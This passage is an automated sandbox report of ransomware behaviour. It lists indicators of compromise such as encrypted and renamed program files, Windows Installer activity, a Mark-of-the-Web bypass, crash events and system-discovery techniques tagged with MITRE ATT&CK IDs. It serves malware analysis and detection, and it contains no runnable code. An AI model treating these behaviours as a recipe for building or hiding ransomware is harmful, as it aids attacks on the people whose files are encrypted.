File opened for modification	C:\Program Files\WindowsApps\Microsoft.Getstarted_8.2.22942.0_x64__8wekyb3d8bbwe\BuildInfo.xml	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\EQUATION\msvcr120.dll.id-67666807.[[email protected]].bot	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\no_get.svg.id-67666807.[[email protected]].bot	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\POWERPNT_F_COL.HXK.id-67666807.[[email protected]].bot	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\DCF\en\SpreadsheetIQ.ExcelServices.Resources.dll	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\plugins\control\libnetsync_plugin.dll.id-67666807.[[email protected]].bot	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files\7-Zip\Lang\br.txt.id-67666807.[[email protected]].bot	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WebpImageExtension_1.0.22753.0_x64__8wekyb3d8bbwe\Assets\contrast-white\BadgeLogo.scale-400_contrast-white.png	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\japanese_over.png	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\themes\dark\[email protected]	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File created	C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\ResiliencyLinks\Locales\nl.pak.DATA.id-67666807.[[email protected]].bot	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.BingWeather_4.25.20211.0_x64__8wekyb3d8bbwe\Assets\AppTiles\WeatherIcons\30x30\195.png	drpbx.exe
File created	C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.2\ja\WindowsBase.resources.dll.id-67666807.[[email protected]].bot	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\ORGCINTL.DLL.id-67666807.[[email protected]].bot	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\MSIPC\bg\msipc.dll.mui.id-67666807.[[email protected]].bot	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File created	C:\Program Files\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Document.XmlSerializers.dll.id-67666807.[[email protected]].bot	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\Workflow.VisualBasic.Targets.id-67666807.[[email protected]].bot	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.HEIFImageExtension_1.0.22742.0_x64__8wekyb3d8bbwe\Assets\LargeTile.scale-150.png	drpbx.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\images\8041_24x24x32.png	drpbx.exe
File created	C:\Program Files\Java\jre-1.8\legal\javafx\jpeg_fx.md.id-67666807.[[email protected]].bot	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Analysis Services\AS OLEDB\140\Cartridges\as80.xsl.id-67666807.[[email protected]].bot	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Microsoft3DViewer_6.1908.2042.0_x64__8wekyb3d8bbwe\Assets\Archive.zip	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.YourPhone_0.19051.7.0_x64__8wekyb3d8bbwe\Assets\AppTiles\AppIcon.targetsize-36_altform-unplated.png	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\images\OneNotePageLargeTile.scale-150.png	drpbx.exe
File created	C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.2\es\WindowsBase.resources.dll.id-67666807.[[email protected]].bot	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	\??\c:\program files (x86)\desktop.ini	Trojan-Ransom.Win32.Sodin.bb-f4e5d7a95681d920dda75fe5dd89be249905e2a7712f9b3b39e19351f5ef5e69.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\scan-2x.png	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\HxA-Generic-Dark.scale-200.png	drpbx.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.BingWeather_4.25.20211.0_x64__8wekyb3d8bbwe\Assets\AppTiles\contrast-black\Weather_LogoSmall.targetsize-32.png	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\WordR_OEM_Perp-ppd.xrm-ms	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Services.Store.Engagement_10.0.18101.0_x86__8wekyb3d8bbwe\microsoft.system.package.metadata\Autogen\JSByteCodeCache_32	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\spu\libmarq_plugin.dll.id-67666807.[[email protected]].bot	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.VCLibs.140.00.UWPDesktop_14.0.27629.0_x64__8wekyb3d8bbwe\mfc140chs.dll	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Onix32.dll.id-67666807.[[email protected]].bot	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Assets\CalculatorAppList.targetsize-256_altform-colorize.png	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\HxCalendarAppList.scale-200.png	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_editpdf_18.svg.id-67666807.[[email protected]].bot	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\sl-si\ui-strings.js.id-67666807.[[email protected]].bot	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\javafx-mx.jar.id-67666807.[[email protected]].bot	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ProfessionalR_Grace-ul-oob.xrm-ms.id-67666807.[[email protected]].bot	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ProfessionalR_OEM_Perp-ul-phn.xrm-ms	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\SPRING\PREVIEW.GIF.id-67666807.[[email protected]].bot	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.SkypeApp_14.53.77.0_x64__kzf8qxf38zg5c\resources\strings\LocalizedStrings_id.json	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\Assets\AppTiles\StoreAppList.targetsize-48_altform-unplated.png	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\es-419_get.svg.id-67666807.[[email protected]].bot	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\root\ui-strings.js	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\HomeBusiness2019R_OEM_Perp2-ul-oob.xrm-ms	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\HomeBusinessR_OEM_Perp4-pl.xrm-ms.id-67666807.[[email protected]].bot	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\PublisherR_Retail-pl.xrm-ms	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files\7-Zip\Lang\th.txt.id-67666807.[[email protected]].bot	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\Assets\contrast-white\AppPackageMedTile.scale-150_contrast-white.png	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\images\contrast-black\OneNoteSectionMedTile.scale-100.png	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\HxA-Outlook.scale-300.png	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\EQUATION\api-ms-win-crt-stdio-l1-1-0.dll	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe

Drops file in Windows directory 17 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\e595162.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI746D.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI78D4.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI7AD9.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI7D9B.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI7F13.tmp	msiexec.exe
File created	C:\Windows\Installer\SourceHash{5B964E0E-B9A3-4276-9ED9-4D5A5720747A}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI801D.tmp	msiexec.exe
File created	C:\Windows\Installer\e595162.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI6E13.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI79CF.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI77AA.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI7BE4.tmp	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI66BF.tmp	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2092	sc.exe

Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 5 IoCs

When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.

defense_evasion

SIP and Trust Provider Hijacking

T1553.003

description	ioc	Process
File created	C:\Users\Admin\Desktop\00374\HEUR-Trojan-Ransom.MSIL.GandCrypt.gen-9f44d74b5fe2e6353074ba70ade88d1747f038ca9902be34cb2ca95eecafc760.exe:Zone.Identifier	cmd.exe
File created	C:\Users\Admin\Desktop\00374\HEUR-Trojan-Ransom.MSIL.Blocker.gen-7255ad5bcb24214dab33d7dbbbff317a0fc3cb3ecaffd59e313c72bdbf5b0afc.exe:Zone.Identifier	cmd.exe
File opened for modification	C:\Users\Admin\Desktop\00374\HEUR-Trojan-Ransom.MSIL.GandCrypt.gen-9f44d74b5fe2e6353074ba70ade88d1747f038ca9902be34cb2ca95eecafc760.exe:Zone.Identifier	cmd.exe
File opened for modification	C:\Users\Admin\Desktop\00374\HEUR-Trojan-Ransom.MSIL.Blocker.gen-7255ad5bcb24214dab33d7dbbbff317a0fc3cb3ecaffd59e313c72bdbf5b0afc.exe:Zone.Identifier	cmd.exe
File created	C:\Users\Admin\AppData\Roaming\Isass.exe:Zone.Identifier	cmd.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 64 IoCs

pid	pid_target	Process	procid_target
2060	2644	WerFault.exe	123
2688	2644	WerFault.exe	123
1232	2644	WerFault.exe	123
5332	2644	WerFault.exe	123
4496	2644	WerFault.exe	123
6248	2644	WerFault.exe	123
7220	2644	WerFault.exe	123
12160	2644	WerFault.exe	123
6980	2644	WerFault.exe	123
6676	2644	WerFault.exe	123
6464	2644	WerFault.exe	123
5224	2644	WerFault.exe	123
5548	2644	WerFault.exe	123
11112	4552	WerFault.exe	107
8368	2644	WerFault.exe	123
5312	2644	WerFault.exe	123
5328	2644	WerFault.exe	123
6612	2644	WerFault.exe	123
9376	2644	WerFault.exe	123
11048	2644	WerFault.exe	123
3980	2644	WerFault.exe	123
5520	2644	WerFault.exe	123
8656	2644	WerFault.exe	123
11964	2644	WerFault.exe	123
11276	2644	WerFault.exe	123
13180	2644	WerFault.exe	123
7072	2644	WerFault.exe	123
7296	2644	WerFault.exe	123
8932	2644	WerFault.exe	123
5724	2644	WerFault.exe	123
9768	2644	WerFault.exe	123
11352	2644	WerFault.exe	123
12624	2644	WerFault.exe	123
12036	2644	WerFault.exe	123
4608	2644	WerFault.exe	123
10648	2644	WerFault.exe	123
11464	2644	WerFault.exe	123
5928	2644	WerFault.exe	123
10552	2644	WerFault.exe	123
10452	2644	WerFault.exe	123
6676	2644	WerFault.exe	123
11360	2644	WerFault.exe	123
9144	2644	WerFault.exe	123
5224	2644	WerFault.exe	123
9496	2644	WerFault.exe	123
9800	2644	WerFault.exe	123
7628	2644	WerFault.exe	123
12824	2644	WerFault.exe	123
9428	2644	WerFault.exe	123
6928	2644	WerFault.exe	123
5632	2644	WerFault.exe	123
3912	2644	WerFault.exe	123
7116	2644	WerFault.exe	123
5412	2644	WerFault.exe	123
2804	2644	WerFault.exe	123
12332	2644	WerFault.exe	123
8988	2644	WerFault.exe	123
9612	2644	WerFault.exe	123
12656	2644	WerFault.exe	123
5556	2644	WerFault.exe	123
12800	2644	WerFault.exe	123
5268	2644	WerFault.exe	123
12992	2644	WerFault.exe	123
7236	2644	WerFault.exe	123

System Location Discovery: System Language Discovery 1 TTPs 54 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HEUR-Trojan-Ransom.Win32.JSWorm.gen-cedf567ebc23b6090de2703911003e3bdbf2c13cc61b700240536715935e835c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.Shade.pbq-0813dd814b07bb9acf1114bd8a5f4b4b624c667464bac48d91ebd9f9c8e640c7.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	lite_installer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.GandCrypt.jes-f4f1362dd693cfe868bda49cab9be4c80a5c625df9a7f4a8e64368d925d77d46.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HEUR-Trojan-Ransom.Win32.JSWorm.gen-cedf567ebc23b6090de2703911003e3bdbf2c13cc61b700240536715935e835c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	seederexe.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.Rack.iqi-d42b70f5dafd78c0ba9ca1ede4e5d8add0a5046640cb165bf907f5bd66f246ed.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.Sodin.aay-d63d1c46b1e83d54ad1d37bd0c8b62447060af35f53296c3059d75dc4d3fa15c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.Sodin.g-1937098609fbbda1b470811a7ffe5fa044058655722d84bd029050d54f2b1496.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HEUR-Trojan-Ransom.Win32.Encoder.gen-b5608ed0190cd8126f9f7e0005b0e3331ba431594a7ccf85f0b4c2593ed73c5c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.Shade.qjq-7ce52df2e1186532c119b3ad42fad1012bb78e6393bff209086dec386bbd49af.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nslookup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.Snocry.cvy-c5e5fd674ac39c58533687c8d8ed51c465459b5b8e0f52e8a1b0f692c500e3b0.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	openvpnserv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HEUR-Trojan-Ransom.Win32.Crypmodadv.gen-ee0a206415cce60f8b3afb29d8c17f86fe1923cbdf69812be139a3012b2fa24b.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HEUR-Trojan-Ransom.Win32.Shade.vho-115591f33f7d53985f4d8f7a519906336c386eda4fae0486904e79e925550b66.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Isass.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nslookup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HEUR-Trojan-Ransom.MSIL.GandCrypt.gen-9f44d74b5fe2e6353074ba70ade88d1747f038ca9902be34cb2ca95eecafc760.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.Foreign.ojib-e8019df6572b12d099ac33d3c02e7cbd02971e55700430f5bbcd7855c4ff6ce0.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.Sodin.aw-6eb992c4c8453e929ebc737780067f78e50a18934358e44db6d95fca3106e8e2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Isass.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nslookup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HEUR-Trojan-Ransom.MSIL.Blocker.gen-7255ad5bcb24214dab33d7dbbbff317a0fc3cb3ecaffd59e313c72bdbf5b0afc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HEUR-Trojan-Ransom.Win32.Blocker.gen-3378c59eba9f93c3b7dcb589c53f63fcf7e0baba98aadbff3b994653e9dc44df.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UDS-Trojan-Ransom.Win32.GandCrypt.a-d804e2eb27a5de0f73cbd490ac49a7998cde6c0fca34c011a2cc8a4bbe242f1e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HEUR-Trojan-Ransom.Win32.Generic-78d775670595e06249a026efd6d31c314707c1cdb80ef3650bffa2f7e0c57784.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.Snocry.cvy-c5e5fd674ac39c58533687c8d8ed51c465459b5b8e0f52e8a1b0f692c500e3b0.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	adjustidebug.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	y_installer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HEUR-Trojan-Ransom.MSIL.GandCrypt.gen-9f44d74b5fe2e6353074ba70ade88d1747f038ca9902be34cb2ca95eecafc760.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sender.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	adjustidebug.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HEUR-Trojan-Ransom.Win32.PolyRansom.gen-8298be3054f9f33b629b53757659873ad12b81b3f7038e0cd39fa0131f1553a3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.Sodin.bb-f4e5d7a95681d920dda75fe5dd89be249905e2a7712f9b3b39e19351f5ef5e69.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nslookup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	y_installer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nslookup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	YandexPackSetup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.Shade.qjq-7ce52df2e1186532c119b3ad42fad1012bb78e6393bff209086dec386bbd49af.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HEUR-Trojan-Ransom.Win32.Crypmodadv.gen-ee0a206415cce60f8b3afb29d8c17f86fe1923cbdf69812be139a3012b2fa24b.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.Shade.pyr-03246cda354d8efbc9e22057cc283609825f15cf33ddc5296deac54c2b540218.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

Internet Connection Discovery

T1016.001

pid	Process
9804	PING.EXE

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

System Time Discovery

T1124

pid	Process
10120	setup.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

